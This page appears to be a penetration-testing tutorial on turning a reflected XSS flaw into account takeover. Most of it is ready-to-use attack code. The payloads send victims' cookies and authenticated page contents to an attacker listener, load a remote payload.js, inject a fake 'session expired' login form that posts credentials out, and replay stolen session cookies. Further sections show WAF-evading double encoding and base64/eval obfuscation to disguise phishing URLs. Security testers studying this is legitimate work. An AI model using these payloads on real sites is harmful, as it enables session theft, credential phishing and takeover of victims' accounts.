Skip to content

Reflected XSS Exploitation

5 min read Created Mar 16, 2026 Last updated Mar 16, 2026

With a confirmed reflected XSS injection point, the primary impact in a pentest context is session hijacking via cookie theft, credential capture, and demonstrating full account takeover. This page covers building a working exploit URL and hosting the infrastructure needed to receive stolen data.

  • Cookie theft exfiltrates session cookies to your listener via document.location or Image objects.
  • Session hijacking replays stolen cookies to authenticate as the victim.
  • HttpOnly bypass uses XHR/fetch to make authenticated requests and exfiltrate the response body.
  • Credential capture injects a fake login form that posts to your server.
  • External JS loading hosts complex payloads on your server, avoiding URL length limits.
  • Payload encoding uses base64 with eval(atob()) or double-encoding to obscure the URL for delivery.

Confirming the injection point and verifying execution is covered in Reflected XSS Checks. When payloads are blocked by filters or WAFs, see XSS filter bypass.

The most direct impact. If session cookies are not marked HttpOnly, they are readable from JavaScript and can be sent to your server.

Host a listener to receive the cookie:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
Explain command
-lvnp Listens verbosely on a port without DNS resolution.

Or a Python HTTP server for cleaner logging:

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server $LPORT

Build the payload that sends cookies to your server:

<script>document.location='http://$LHOST:$LPORT/?c='+document.cookie</script>

Test the payload directly in the injection parameter:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/search?q=<script>document.location='http://$LHOST:$LPORT/?c='+document.cookie</script>"

The full exploit URL to send to a victim:

http://$TARGET_IP:$PORT/search?q=<script>document.location='http://$LHOST:$LPORT/?c='+document.cookie</script>

URL-encode the payload for cleaner delivery:

┌──(kali㉿kali)-[~]
└─$ python3 -c "import urllib.parse; print(urllib.parse.quote(\"<script>document.location='http://$LHOST:$LPORT/?c='+document.cookie</script>\"))"

When the victim loads the URL, their browser executes the script and their session cookie appears in your listener as a GET request parameter.

Session Hijacking

Once you have the session cookie, use it to take over the session:

┌──(kali㉿kali)-[~]
└─$ curl -sk -b "session=STOLENVALUE" "http://$TARGET_IP:$PORT/dashboard"

In a browser, set the cookie via the developer console:

document.cookie = "session=STOLENVALUE; path=/";

Then navigate to any authenticated page. If the application accepts the cookie, you are now authenticated as the victim.

When cookies are marked HttpOnly, JavaScript cannot read them directly. Use an XHR request to make an authenticated request from the victim's browser and exfiltrate the response:

<script>
  var xhr = new XMLHttpRequest();
  xhr.onload = function() {
    var exfil = new XMLHttpRequest();
    exfil.open('GET', 'http://$LHOST:$LPORT/?d=' + btoa(this.responseText), true);
    exfil.send();
  };
  xhr.open('GET', '/account/settings', true);
  xhr.send();
</script>

This makes an authenticated request to /account/settings using the victim's existing session and sends the base64-encoded response to your listener. Useful for extracting profile data, API keys, or tokens from the application without needing the raw cookie.

Decode the received data:

┌──(kali㉿kali)-[~]
└─$ echo 'BASE64VALUE' | base64 -d

External JavaScript Loading

For complex payloads that exceed URL length limits or contain characters that break URL encoding, host the payload as an external JavaScript file on your server. The injected tag is short and clean, while the full exploit logic lives in the hosted file:

<script src="http://$LHOST:$LPORT/payload.js"></script>

Create payload.js on your attacker machine with the full exploit logic. For example, a cookie theft payload:

var img = new Image();
img.src = 'http://$LHOST:$LPORT/steal?c=' + encodeURIComponent(document.cookie);

Serve the file:

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server $LPORT

The exploit URL stays short regardless of payload complexity:

http://$TARGET_IP:$PORT/search?q=<script src="http://$LHOST:$LPORT/payload.js"></script>

This approach also lets you update the payload on the server side without changing the exploit URL. If CSP blocks external scripts, this technique does not work and you need inline payloads or a CSP bypass.

Credential Capture via Fake Login Form

When the application does not use HttpOnly cookies and you want to capture plaintext credentials, inject a fake login form that posts to your server. This works best when the XSS lands on a page that users would expect to re-authenticate on:

<script>
  document.body.innerHTML='<form action="http://$LHOST:$LPORT/capture" method="POST"><h2>Session expired. Please log in again.</h2><input name="user" placeholder="Username"><input name="pass" type="password" placeholder="Password"><button>Login</button></form>';
</script>

Receive credentials with netcat:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Or a Python server that logs POST bodies:

import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers['Content-Length'])
        print(self.rfile.read(l).decode())
        self.send_response(200)
        self.end_headers()
    def log_message(self, *a): pass
http.server.HTTPServer(('0.0.0.0', $LPORT), H).serve_forever()

Confirming HttpOnly Status

Before building your exploit, check which cookies are HttpOnly:

┌──(kali㉿kali)-[~]
└─$ curl -sk -c /tmp/cookies.txt "http://$TARGET_IP:$PORT/login" -d "user=$USER&pass=$PASSWORD" -L
┌──(kali㉿kali)-[~]
└─$ cat /tmp/cookies.txt

The HttpOnly flag appears in the cookie line. Alternatively, check response headers on login:

┌──(kali㉿kali)-[~]
└─$ curl -sk -I -X POST "http://$TARGET_IP:$PORT/login" -d "user=$USER&pass=$PASSWORD"

A Set-Cookie header with HttpOnly means you cannot read it via document.cookie and need the XHR approach.

Encoding Chains and Double Encoding

When basic payloads are blocked by a WAF or input filter, encoding can bypass the check. Some applications decode input multiple times, which means a double-encoded payload passes the first filter check and gets decoded into the real payload on the second pass.

Standard encoding of <script>:

%3Cscript%3E         (single URL-encode)
%253Cscript%253E     (double URL-encode)

The filter sees %253C which does not match < or %3C. The server decodes it once to %3Cscript%3E, then the application or framework decodes it again to <script>. Generate double-encoded payloads:

┌──(kali㉿kali)-[~]
└─$ python3 -c "import urllib.parse; p='<script>alert(document.domain)</script>'; print(urllib.parse.quote(urllib.parse.quote(p)))"

Other encoding variations worth testing against filters:

  • HTML entity encoding: &lt;script&gt; in attribute contexts

  • Unicode escapes: \u003cscript\u003e in JavaScript contexts

  • Mixed encoding: combine URL encoding with HTML entities in the same payload

Test one layer at a time. If single encoding is stripped, try double. If both are stripped, the filter is likely decoding recursively and this approach will not work.

URL Shortening for Delivery

Long XSS URLs with raw payloads look suspicious. For social engineering delivery in scope, shorten the URL or encode the payload in a less recognizable form. Base64 with eval avoids obvious keywords in the URL:

┌──(kali㉿kali)-[~]
└─$ echo -n "document.location='http://$LHOST:$LPORT/?c='+document.cookie" | base64

Payload:

<script>eval(atob('BASE64HERE'))</script>

This encodes the malicious part and only leaves eval(atob(...)) visible in the URL.

References